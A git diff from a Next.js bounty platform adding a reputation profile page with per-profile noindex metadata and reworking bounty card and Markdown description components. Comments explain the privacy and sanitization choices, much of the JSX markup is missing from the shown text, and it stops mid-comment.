+import { notFound } from "next/navigation";
+import { fetchReputationByUsername } from "@/lib/api";
+import { mockReputationProfiles } from "@/lib/mock-data";
+import { profileIsIndexable } from "@/lib/seo-policy";
+import { ReputationProfileView } from "./ReputationProfileView";
+
+export async function generateMetadata({
+ params,
+}: {
+ params: Promise<{ handle: string }>;
+}): Promise {
+ const { handle } = await params;
+ const mockFallback =
+ Object.values(mockReputationProfiles).find(
+ (p) => p.handle.toLowerCase() === handle.toLowerCase(),
+ ) ?? null;
+ const { data: profile } = await fetchReputationByUsername(handle, mockFallback);
+
+ if (!profile) {
+ return { title: "Profile not found | MergeFi" };
+ }
+
+ const title = `@${profile.handle} | MergeFi`;
+ const description = `${profile.mergedPRs} merged PRs · ${profile.languages.slice(0, 3).join(", ")}`;
+
+ return {
+ title,
+ description,
+ // The noindex fallback required by the policy in src/lib/seo-policy.ts.
+ // Omitting a profile from the sitemap is not sufficient on its own: a URL
+ // that has already been crawled (shared in a Slack channel, a GitHub
+ // profile README, a search result from before the policy existed) can
+ // still get indexed from an inbound link, and robots.txt can't express
+ // "this one page is private, the rest aren't". So every profile that
+ // hasn't opted in states it explicitly in the document head.
+ //
+ // Deliberately not an X-Robots-Tag header: a header can only be set for a
+ // whole route match in next.config.ts, which would noindex opted-in
+ // profiles too. Per-page metadata is the granularity this policy needs.
+ //
+ // A static header for all /reputation/* was also rejected for the same
+ // reason — see the robots.ts comment for why robots.txt must not
+ // disallow this path either.
+ robots: profileIsIndexable(profile)
+ ? { index: true, follow: true }
+ : { index: false, follow: false },
+ openGraph: {
+ title,
+ description,
+ url: `/reputation/${handle}`,
+ },
+ twitter: {
+ card: "summary_large_image",
+ title,
+ description,
+ },
+ };
+}
+
+export default async function ReputationPage({
+ params,
+}: {
+ params: Promise<{ handle: string }>;
+}) {
+ const { handle } = await params;
+ const mockFallback =
+ Object.values(mockReputationProfiles).find(
+ (p) => p.handle.toLowerCase() === handle.toLowerCase(),
+ ) ?? null;
+ const { data: profile } = await fetchReputationByUsername(handle, mockFallback);
+
+ if (!profile) notFound();
+
+ return ;
+}
diff --git a/src/components/bounty/BountyCard.tsx b/src/components/bounty/BountyCard.tsx
index 006b5ce9..da8bce54 100644
--- a/src/components/bounty/BountyCard.tsx
+++ b/src/components/bounty/BountyCard.tsx
@@ -1,69 +1,69 @@
-import Link from "next/link";
-import { Clock, GitPullRequest } from "lucide-react";
-import { StatusBadge, DifficultyBadge, Badge } from "@/components/ui/Badge";
-import { Avatar } from "@/components/ui/Avatar";
-import { formatCurrency, daysUntil, formatDaysUntil } from "@/lib/utils";
-import { stripMarkdownToPlainText } from "@/lib/markdown";
-import type { Bounty } from "@/types";
-
-const accentByDifficulty: Record = {
- beginner: "before:bg-emerald-400",
- intermediate: "before:bg-amber-400",
- advanced: "before:bg-rose-400",
- expert: "before:bg-fuchsia-400",
-};
-
-export function BountyCard({ bounty }: { bounty: Bounty }) {
- const days = bounty.deadline ? daysUntil(bounty.deadline) : null;
- return (
-
-
+
+ );
+}
diff --git a/src/components/bounty/BountyDescription.tsx b/src/components/bounty/BountyDescription.tsx
index 4eeaa383..5ab33d77 100644
--- a/src/components/bounty/BountyDescription.tsx
+++ b/src/components/bounty/BountyDescription.tsx
@@ -1,147 +1,147 @@
-import ReactMarkdown, { type Components } from "react-markdown";
-import remarkGfm from "remark-gfm";
-
-// Matches the design tokens already used for description text elsewhere in
-// this app (see the plain
this component replaces on IssueDetailPage).
-const markdownComponents: Components = {
- p: ({ children }) => (
-
- ),
- // Issue bodies embed screenshots from arbitrary GitHub-hosted URLs, not
- // just the hostnames next.config.ts allowlists for next/image (#215) — a
- // plain , sanitized the same way as every other element here (see
- // the doc comment below), is what actually works for that content.
- img: ({ src, alt }) => (
- // eslint-disable-next-line @next/next/no-img-element
-
- ),
- blockquote: ({ children }) => (
-
- {children}
-
- ),
- table: ({ children }) => (
-
-
{children}
-
- ),
- thead: ({ children }) => (
-
- {children}
-
- ),
- tbody: ({ children }) => {children},
- tr: ({ children }) => (
-
- {children}
-
- ),
- th: ({ children }) => (
-
- {children}
-
- ),
- td: ({ children }) => (
-
{children}
- ),
-};
-
-/**
- * Renders a bounty's description — raw GitHub issue Markdown, i.e.
- * untrusted, third-party, attacker-reachable content with no backend
- * sanitization guaranteed anywhere in this pipeline (see #89) — as safely
- * rendered Markdown instead of a garbled plain-text blob.
- *
- * Deliberately does NOT enable `rehype-raw` (or any raw-HTML-passthrough
- * plugin/`components` override that widens what's allowed): react-markdown's
- * default behavior already renders embedded HTML tags (``,
- * `